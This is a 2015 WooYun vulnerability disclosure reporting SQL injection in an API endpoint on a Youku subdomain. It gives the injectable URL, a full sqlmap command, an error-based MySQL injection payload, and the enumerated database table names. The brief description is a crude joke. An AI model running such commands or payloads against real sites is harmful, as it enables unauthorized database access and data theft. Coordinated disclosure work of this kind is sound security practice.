当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102649

漏洞标题:优酷网某站SQL注射漏洞

相关厂商:优酷

漏洞作者: 卡卡

提交时间:2015-03-20 18:23

修复时间:2015-05-04 18:40

公开时间:2015-05-04 18:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-20: 细节已通知厂商并且等待厂商处理中
2015-03-20: 厂商已经确认,细节仅向厂商公开
2015-03-30: 细节向核心白帽子及相关领域专家公开
2015-04-09: 细节向普通白帽子公开
2015-04-19: 细节向实习白帽子公开
2015-05-04: 细节向公众公开

简要描述:

一男子去吃饭,点了牛鞭这道菜,菜端上来了,男子故意调戏问服务员,这是什么,女服务员害羞的没说话,男子得意的夹了一块刚想往嘴里放,服务员说这个东西是往牛B里放的。

详细说明:

注射链接:

http://allthingshair.youku.com/api/index.php?r=video/GetAccountVideoLastWeekByCategoryIdHasSpecialVideo


QQ图片20150320175154.png


sqlmap.py -u "http://allthingshair.youku.com/api/index.php?r=
video/GetAccountVideoLastWeekByCategoryIdHasSpecialVideo" --data "categoryId=" -
-technique E --dbms="mysql" --tables -D allthingshair
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150301}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:44:09
[18:44:10] [WARNING] provided value for parameter 'categoryId' is empty. Please,
always use only valid parameter values so sqlmap could be able to run properly
[18:44:10] [INFO] testing connection to the target URL
[18:44:11] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: categoryId (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: categoryId=' AND (SELECT 8931 FROM(SELECT COUNT(*),CONCAT(0x7170766
b71,(SELECT (ELT(8931=8931,1))),0x71626a7071,FLOOR(RAND(0)*2))x FROM INFORMATION
_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'MzQo'='MzQo
---
[18:44:12] [INFO] testing MySQL
[18:44:12] [INFO] confirming MySQL
[18:44:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[18:44:12] [INFO] fetching tables for database: 'allthingshair'
[18:44:13] [INFO] the SQL query used returns 14 entries
[18:44:14] [INFO] retrieved: attribute_list
[18:44:15] [INFO] retrieved: category_list
[18:44:15] [INFO] retrieved: comment_list
[18:44:20] [INFO] retrieved: daily_video_account
[18:44:20] [INFO] retrieved: hot_topic_video
[18:44:21] [INFO] retrieved: keyword_count
[18:44:22] [INFO] retrieved: member_youku
[18:44:23] [INFO] retrieved: product_list
[18:44:24] [INFO] retrieved: subscribe_list
[18:44:24] [INFO] retrieved: video_attribute_list
[18:44:25] [INFO] retrieved: video_favour
[18:44:26] [INFO] retrieved: video_main_list
[18:44:27] [INFO] retrieved: video_minor_list
[18:44:28] [INFO] retrieved: vlogger_list
Database: allthingshair
[14 tables]
+----------------------+
| attribute_list |
| category_list |
| comment_list |
| daily_video_account |
| hot_topic_video |
| keyword_count |
| member_youku |
| product_list |
| subscribe_list |
| video_attribute_list |
| video_favour |
| video_main_list |
| video_minor_list |
| vlogger_list |
+----------------------+


漏洞证明:

QQ图片20150320175154.png

修复方案:

你们懂得

版权声明:转载请注明来源 卡卡@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-20 18:38

厂商回复:

感谢提交,马上处理!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-20 21:19 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    太重口味了

  2. 2015-03-20 22:44 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    @小川 下次清淡点